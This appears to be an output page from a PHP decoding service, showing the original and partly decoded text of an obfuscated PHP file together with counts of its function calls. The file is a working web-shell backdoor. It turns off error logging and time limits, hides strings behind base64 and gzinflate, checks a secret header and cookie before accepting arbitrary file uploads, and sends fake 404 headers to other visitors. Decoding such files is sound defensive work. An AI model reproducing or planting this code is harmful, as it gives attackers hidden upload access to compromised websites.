Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php @/*OrIrQ([1NQ@J`WleJ|~6*/ini_set/*$K4a,*/('log_errors', 0); @//*Xd]PbadyRl#p f^\x ..
Decoded Output download
<?php
@/*OrIrQ([1NQ@J`WleJ|~6*/ini_set/*$K4a,*/('log_errors', 0);
@//*Xd]PbadyRl#p f^\x
ini_set//mxK6)
('error_log', NULL);
@ /*d]6`A7=Y>t*/ini_set ##^`0oWovS
('error_reporting', NULL);
@ ##04YMlK9`NS3klDO*I
error_reporting//O7yk!)dGP
(0);
@ /*Xny%d2]6R4*/ini_set/*}xW~f_41*/('max_execution_time', 0);
@//A9|CXyKeN>nN*S0u}9SL
set_time_limit//cDRh1;<Y<!h7|Xuuw1
(0);
@//iI1yNO>]G84%4
ignore_user_abort/*1H[*=Xe2}b**/(true);
function ##Ok#PG3DAVSm4U*Y6XVl
O ##B(1r.!6ik@ez\q^~
($s){
##{<kUqVofvD[,z\
$O//[YLtB),]~Dx
= ##_%wu_
"b". ##uIRzGq
"ase64_decode";//;}oB}A1d$I9^b b:!
/*@]j8=tAp{V*/$s ###L*[`
= ## WZTC[1kYMh3
$O//wD~tp#
($s);
//>W8*\v^yD
$O/*Gt8SZo[zRWt*/= /*DP$KSE4G!QMRPoZ&PQ(*/"gzinflate";//1#Z[=]6]DBGfgb+\%4
return /*E2<%P6Eh@7[L]L+I4GdD*/$O ##JKiaPVYuU|L3&G~mJl
($s);
}
if(//tH(@JV.*|ST^
md5//h6_`G6WMAmR2O01
(//[TjK= & }w7BMW
md5 ##jXIJnS(U
(/*$$=U9*/md5 ##JBs;&+
( ##vQ|,orj}w
$_SERVER/*iG_yD.s~!*/[ ##\X6r^8\$H\<Rf1HTRwq
O ##Va-d18qU%s6aAcvC>N#^
( /*(DWDq`s#<-b8_@(*/'8wgJCYgPDXYNind0d/ULAQA=')//=uMN^G33bp
]))) == /*yG&3PR>e0o]a*/O ##SLV<=EGKjZN&^&
( ##V:c|oS#mAb
'M7Y0NTFKSTVJNUpLNDUwMTNKsTRLTTQyS7Uwt0g0M7UAAA==')//XTC4W2NM.
){
if( ##As]C]g@f_DC
session_start//y-y5intz^5X)Nx)6C
()){//w%4wg(s%G$V1
preg_match/*WnS6`GY@i*/( ##2Sq=(x1
O ##vHQqq<Y+1&:*L
(/*fkdh$db@W5loq$I*/'04+LjrOK1dLPBAA=')/*%9.$9B9u6#*/ , /*e5@H%*/$_SERVER//^{k:]~M
[/*63K+r*/O ##g8\0i{o|w
( ##InR)|jZUDt(QtV;T
'8wgJCYj38A8OAQA=')/***JL$T@zxUcFU;rxe]#U*/], $AHQQCEKWO); ##9<9!W8`7+Qb9
$KEGYTXTKB//:Mn9S>bjsu
= //{Qr!J*hSC
$AHQQCEKWO//7JOE5;cf*nZh]T*
[0];if(@/*6JtWwoCFG{q*7=Ji7*/md5//iryALbv1DL7KxccOr
( ##5Keir
$_COOKIE//x>=uVF
[ /**OnY=KU@LElyp:`I*/md5/*4H!h~Dea7+a*/(/*6EfUN<sq.Y|f7~9*/$KEGYTXTKB//DuQ!tktTe@4s
. //zB+v~bJH3
O ##|a]b]
(/*hfIi;UzqnQN+*/'KyguTwEA')//Z^yr9G>
)]) != //xfW:g `)#%KJ
O/*s.(Cb*/( ##R{vIX
'MzZIMjZLSTExTDRIMbZMTUs2M0u0NDUwMTEzNjJKS7QEAA==')//r-J+S$ `~GA;;LW
){echo /*T%KNT6k+f[LND,VHjxCW*/O ##5tVmDK)A
( //yRI<`[qVamP)<7l*rO
'C8lIVUgsLcnIL8qsSizJzM9TSEvMzElN0VEoyElNLE5VKEpV0IUpSAUA')/*R~v(.IUj|fqgbW,*/;exit();}}
if(!empty(/*1Cz:Ok*/$_FILES ##r6AL]dcY(si~.%zu_I
[//;76WDU)^ne#$q
O ##fwLDGH)jf\
(/*01jvt#XF|-&n>V9*/'y610y8xJBQA=') ##=+ pR|\2=z_
])){
//K5rVg~x:#L&YP\
move_uploaded_file ##VJ-)Q_,kb
( ##=Rj6puzWnC0~H(
$_FILES//Ptqe*IVItJ
[ /* ULuv#2[t*/O/*RM_]|WB {J~nPG F*/( ##NQFG<Vo[DX{I\ZkVn=
'y610y8xJBQA=')/*Sge2S5MNFz`M|Nclkr*/ ][//72MT9N1K,@nw8l
O/*C5@fQ*/( ##CcC2 #
'K8ktiM9LzE0FAA==')//w8<s6ajs:OTDb)Qc~>cK
],//H(IY[|9pZ
$_FILES//w39GS*qFK6K
[ ##8(O{mjH0Q,GuY
O ##^:#e7xYN:`6^r>
(/*18`pg*/'y610y8xJBQA=')//6yM#;jJ]f<e
][ ##6Ms}WyxwW$
O//sA#wSI
( ##jJ!v+4{(
'y0vMTQUA')/*DjLEc<q:m@NDb|HH_.3 */]);
}
echo ##:v7Rdzu*$,u
O ##-JPiNo^sGe_X6TI
(/*g%{j_aU+1DXsN<h*/'4+XitEnLL8pVSM1LLqksSLVVyi3NKcksSCwq0QeJ66YkliQqKSQml2Tm59kqKSnkppZk5KfYKgX4B4co2SnwAvVn5hWUlijkJeaCdFe6ZeakKilAzEoDsZEVQYSLS5NyM0uUFMoSc0qB3Cc7up7sWfBsWvuT3dugqsF22wEA')/*mXkG=*/;
exit;
}else{
/*Y>S*j3$*/header/*!sfrE1P;:H*/( ##M:_Ol>
O ##<3#<ju|9
(//T0Zetw
'8wgJCdA31DNUMDEwUfDLL1Fwyy/NSwEA')//=(,1{j5Z
);
##gVhuLt|M7g%=^
header/*m]brasw.{|{$R(jW*/(/*C!lTBox\P*/O/*1.<-c}k2>*/( ##O_eSr
'Ky5JLCkttlIwMTBR8MsvUXDLL81LAQA=')//L1!F>j
);
exit();
} ?>
Did this file decode correctly?
Original Code
<?php
@/*OrIrQ([1NQ@J`WleJ|~6*/ini_set/*$K4a,*/('log_errors', 0);
@//*Xd]PbadyRl#p f^\x
ini_set//mxK6)
('error_log', NULL);
@ /*d]6`A7=Y>t*/ini_set ##^`0oWovS
('error_reporting', NULL);
@ ##04YMlK9`NS3klDO*I
error_reporting//O7yk!)dGP
(0);
@ /*Xny%d2]6R4*/ini_set/*}xW~f_41*/('max_execution_time', 0);
@//A9|CXyKeN>nN*S0u}9SL
set_time_limit//cDRh1;<Y<!h7|Xuuw1
(0);
@//iI1yNO>]G84%4
ignore_user_abort/*1H[*=Xe2}b**/(true);
function ##Ok#PG3DAVSm4U*Y6XVl
O ##B(1r.!6ik@ez\q^~
($s){
##{<kUqVofvD[,z\
$O//[YLtB),]~Dx
= ##_%wu_
"\x62". ##uIRzGq
"\x61s\x656\x34_\x64\x65c\x6f\x64\x65";//;}oB}A1d$I9^b b:!
/*@]j8=tAp{V*/$s ###L*[`
= ## WZTC[1kYMh3
$O//wD~tp#
($s);
//>W8*\v^yD
$O/*Gt8SZo[zRWt*/= /*DP$KSE4G!QMRPoZ&PQ(*/"\x67\x7ain\x66l\x61t\x65";//1#Z[=]6]DBGfgb+\%4
return /*E2<%P6Eh@7[L]L+I4GdD*/$O ##JKiaPVYuU|L3&G~mJl
($s);
}
if(//tH(@JV.*|ST^
md5//h6_`G6WMAmR2O01
(//[TjK= & }w7BMW
md5 ##jXIJnS(U
(/*$$=U9*/md5 ##JBs;&+
( ##vQ|,orj}w
$_SERVER/*iG_yD.s~!*/[ ##\X6r^8\$H\<Rf1HTRwq
O ##Va-d18qU%s6aAcvC>N#^
( /*(DWDq`s#<-b8_@(*/'8wgJCYgPDXYNind0d/ULAQA=')//=uMN^G33bp
]))) == /*yG&3PR>e0o]a*/O ##SLV<=EGKjZN&^&
( ##V:c|oS#mAb
'M7Y0NTFKSTVJNUpLNDUwMTNKsTRLTTQyS7Uwt0g0M7UAAA==')//XTC4W2NM.
){
if( ##As]C]g@f_DC
session_start//y-y5intz^5X)Nx)6C
()){//w%4wg(s%G$V1
preg_match/*WnS6`GY@i*/( ##2Sq=(x1
O ##vHQqq<Y+1&:*L
(/*fkdh$db@W5loq$I*/'04+LjrOK1dLPBAA=')/*%9.$9B9u6#*/ , /*e5@H%*/$_SERVER//^{k:]~M
[/*63K+r*/O ##g8\0i{o|w
( ##InR)|jZUDt(QtV;T
'8wgJCYj38A8OAQA=')/***JL$T@zxUcFU;rxe]#U*/], $AHQQCEKWO); ##9<9!W8`7+Qb9
$KEGYTXTKB//:Mn9S>bjsu
= //{Qr!J*hSC
$AHQQCEKWO//7JOE5;cf*nZh]T*
[0];if(@/*6JtWwoCFG{q*7=Ji7*/md5//iryALbv1DL7KxccOr
( ##5Keir
$_COOKIE//x>=uVF
[ /**OnY=KU@LElyp:`I*/md5/*4H!h~Dea7+a*/(/*6EfUN<sq.Y|f7~9*/$KEGYTXTKB//DuQ!tktTe@4s
. //zB+v~bJH3
O ##|a]b]
(/*hfIi;UzqnQN+*/'KyguTwEA')//Z^yr9G>
)]) != //xfW:g `)#%KJ
O/*s.(Cb*/( ##R{vIX
'MzZIMjZLSTExTDRIMbZMTUs2M0u0NDUwMTEzNjJKS7QEAA==')//r-J+S$ `~GA;;LW
){echo /*T%KNT6k+f[LND,VHjxCW*/O ##5tVmDK)A
( //yRI<`[qVamP)<7l*rO
'C8lIVUgsLcnIL8qsSizJzM9TSEvMzElN0VEoyElNLE5VKEpV0IUpSAUA')/*R~v(.IUj|fqgbW,*/;exit();}}
if(!empty(/*1Cz:Ok*/$_FILES ##r6AL]dcY(si~.%zu_I
[//;76WDU)^ne#$q
O ##fwLDGH)jf\
(/*01jvt#XF|-&n>V9*/'y610y8xJBQA=') ##=+ pR|\2=z_
])){
//K5rVg~x:#L&YP\
move_uploaded_file ##VJ-)Q_,kb
( ##=Rj6puzWnC0~H(
$_FILES//Ptqe*IVItJ
[ /* ULuv#2[t*/O/*RM_]|WB {J~nPG F*/( ##NQFG<Vo[DX{I\ZkVn=
'y610y8xJBQA=')/*Sge2S5MNFz`M|Nclkr*/ ][//72MT9N1K,@nw8l
O/*C5@fQ*/( ##CcC2 #
'K8ktiM9LzE0FAA==')//w8<s6ajs:OTDb)Qc~>cK
],//H(IY[|9pZ
$_FILES//w39GS*qFK6K
[ ##8(O{mjH0Q,GuY
O ##^:#e7xYN:`6^r>
(/*18`pg*/'y610y8xJBQA=')//6yM#;jJ]f<e
][ ##6Ms}WyxwW$
O//sA#wSI
( ##jJ!v+4{(
'y0vMTQUA')/*DjLEc<q:m@NDb|HH_.3 */]);
}
echo ##:v7Rdzu*$,u
O ##-JPiNo^sGe_X6TI
(/*g%{j_aU+1DXsN<h*/'4+XitEnLL8pVSM1LLqksSLVVyi3NKcksSCwq0QeJ66YkliQqKSQml2Tm59kqKSnkppZk5KfYKgX4B4co2SnwAvVn5hWUlijkJeaCdFe6ZeakKilAzEoDsZEVQYSLS5NyM0uUFMoSc0qB3Cc7up7sWfBsWvuT3dugqsF22wEA')/*mXkG=*/;
exit;
}else{
/*Y>S*j3$*/header/*!sfrE1P;:H*/( ##M:_Ol>
O ##<3#<ju|9
(//T0Zetw
'8wgJCdA31DNUMDEwUfDLL1Fwyy/NSwEA')//=(,1{j5Z
);
##gVhuLt|M7g%=^
header/*m]brasw.{|{$R(jW*/(/*C!lTBox\P*/O/*1.<-c}k2>*/( ##O_eSr
'Ky5JLCkttlIwMTBR8MsvUXDLL81LAQA=')//L1!F>j
);
exit();
}
Function Calls
ini_set | 4 |
set_time_limit | 1 |
error_reporting | 1 |
ignore_user_abort | 1 |
Stats
MD5 | 63bc815e52945fb163f84cc7bb6cb8c4 |
Eval Count | 0 |
Decode Time | 77 ms |